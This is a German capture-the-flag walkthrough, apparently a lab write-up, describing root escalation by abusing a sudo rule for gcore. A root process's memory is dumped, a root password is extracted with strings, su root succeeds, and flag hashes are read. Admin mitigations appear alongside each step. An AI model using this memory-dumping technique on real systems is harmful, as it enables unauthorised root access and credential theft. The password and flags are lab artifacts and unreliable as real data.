Bewertung: Kritischer Fund! `gcore` ist ein Tool zum Erstellen von Core-Dumps laufender Prozesse. Wenn es als `root` ausgeführt werden kann, kann es verwendet werden, um den Speicherinhalt von beliebigen Prozessen, einschließlich solcher, die von `root` laufen und sensible Informationen (wie Passwörter) im Speicher halten, auszulesen.
Empfehlung (Pentester): Identifizieren Sie einen Prozess, der von `root` läuft und potenziell sensible Daten enthält (z.B. `sshd`, Login-Prozesse, oder benutzerdefinierte Dienste). Verwenden Sie `sudo -u root /usr/bin/gcore
Empfehlung (Admin): Gewähren Sie niemals `sudo`-Rechte für Debugging-Tools wie `gcore`, `gdb`, `strace` etc. ohne Passwort und nur an absolut vertrauenswürdige Benutzer. Diese Tools können fast immer zur Eskalation missbraucht werden.
Illegal process-id: /bin/bash.
You can't do that without a process to debug.
The program is not being run.
gcore: failed to create core./bin/bash
Analyse: Ein fehlerhafter Versuch, `gcore` zu verwenden. Es wird versucht, `/bin/bash` als Prozess-ID anzugeben, was ungültig ist.
Bewertung: Falsche Syntax. `gcore` benötigt eine gültige Prozess-ID (PID).
[... Prozessliste ...]
root 382 99.5 0.0 2460 848 ? R 16:37 42:19 /root/secret_of_my_bunker
Analyse: Mit `ps aux` werden laufende Prozesse aufgelistet und nach Prozessen gefiltert, die von `root` ausgeführt werden und "secret" im Namen enthalten. Es wird ein Prozess `/root/secret_of_my_bunker` mit der PID 382 gefunden, der von `root` läuft und viel CPU-Zeit verbraucht.
Bewertung: Ein interessanter Prozess. Der Name deutet darauf hin, dass er möglicherweise sensible Informationen enthält. Die hohe CPU-Last ist ungewöhnlich.
Empfehlung (Pentester): Verwenden Sie `gcore`, um einen Speicherabzug dieses Prozesses (PID 382) zu erstellen.
Empfehlung (Admin): Untersuchen Sie den Zweck des Prozesses `/root/secret_of_my_bunker`. Prozesse sollten nicht unnötig als `root` laufen.
Analyse: Der folgende Schritt nutzt die `sudo`-Berechtigung für `gcore`, um Root-Rechte zu erlangen. Es wird ein Core-Dump des verdächtigen Root-Prozesses `/root/secret_of_my_bunker` (PID 382) erstellt. Anschließend wird der Core-Dump mit `strings` nach potenziellen Passwörtern durchsucht.
Bewertung: Dies ist der entscheidende Schritt zur Root-Eskalation. Durch das Auslesen des Prozessspeichers können sensible Daten, die der Prozess im Speicher hält, extrahiert werden.
Empfehlung (Pentester): Führen Sie `sudo gcore
Empfehlung (Admin): Entfernen Sie die unsichere `sudo`-Regel für `gcore`. Sichern Sie Prozesse ab, damit sie keine sensiblen Daten unverschlüsselt im Speicher halten.
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
0x00005629acbfa15b in main ()
Saved corefile core.382
[Inferior 1 (process 382) detached]
Analyse: `sudo -u root /usr/bin/gcore 382` wird ausgeführt. Ein Core-Dump des Prozesses mit PID 382 wird erfolgreich erstellt und als Datei `core.382` gespeichert.
Bewertung: Erfolgreiche Erstellung des Speicherabzugs.
Password: Th3_p0w3r_0f_iptables Password: Th3_p0w3r_0f_iptables __nss_passwd_lookup getpass ruserpass __nss_passwd_lookup2 passwd2des Password: Th3_p00w3r_0f_iptablesBC_PRIVATE Password: Th3_p00w3r_0f_iptablesBC_PRIVATE
Analyse: Die `core.382`-Datei wird mit `strings` nach druckbaren Zeichenketten durchsucht, und die Ausgabe wird nach "pass" (case-insensitive) gefiltert. Mehrere interessante Zeilen werden gefunden, darunter zweimal die Zeichenkette `Password: Th3_p0w3r_0f_iptables`. Dies ist sehr wahrscheinlich das Root-Passwort.
Bewertung: Erfolg! Das Root-Passwort wurde aus dem Speicher des Prozesses extrahiert.
Empfehlung (Pentester): Verwenden Sie `su root` und das gefundene Passwort `Th3_p0w3r_0f_iptables`, um Root-Rechte zu erlangen.
Empfehlung (Admin): Ändern Sie das Root-Passwort sofort. Beheben Sie die `sudo`-Schwachstelle und untersuchen Sie den Prozess `/root/secret_of_my_bunker`.
Password:
uid=0(root) gid=0(root) groups=0(root)
Analyse: `su root` wird ausgeführt und das extrahierte Passwort `Th3_p0w3r_0f_iptables` eingegeben. Der Wechsel zum Root-Benutzer ist erfolgreich, wie der Prompt und die Ausgabe von `id` bestätigen.
Bewertung: Root-Zugriff erlangt!
Empfehlung (Pentester): Suchen Sie die Root-Flag. Dokumentieren Sie den Pfad.
Empfehlung (Admin): System vollständig kompromittiert. Forensische Analyse, Behebung der Schwachstellen, Passwortänderung, Neuinstallation erwägen.
root.txt secret_of_my_bunker
390a25fd99cfb340eff6c51665109e52
a1617ca7d069c13ee365471dec5a389c
Analyse: Im Root-Home-Verzeichnis wird die Root-Flag (`root.txt`) und der zuvor analysierte Prozess (`secret_of_my_bunker`) gefunden. Die Root-Flag wird ausgelesen. Anschließend wird die User-Flag aus dem Home-Verzeichnis von `sysadmin` ausgelesen.
Bewertung: Beide Flags erfolgreich gefunden.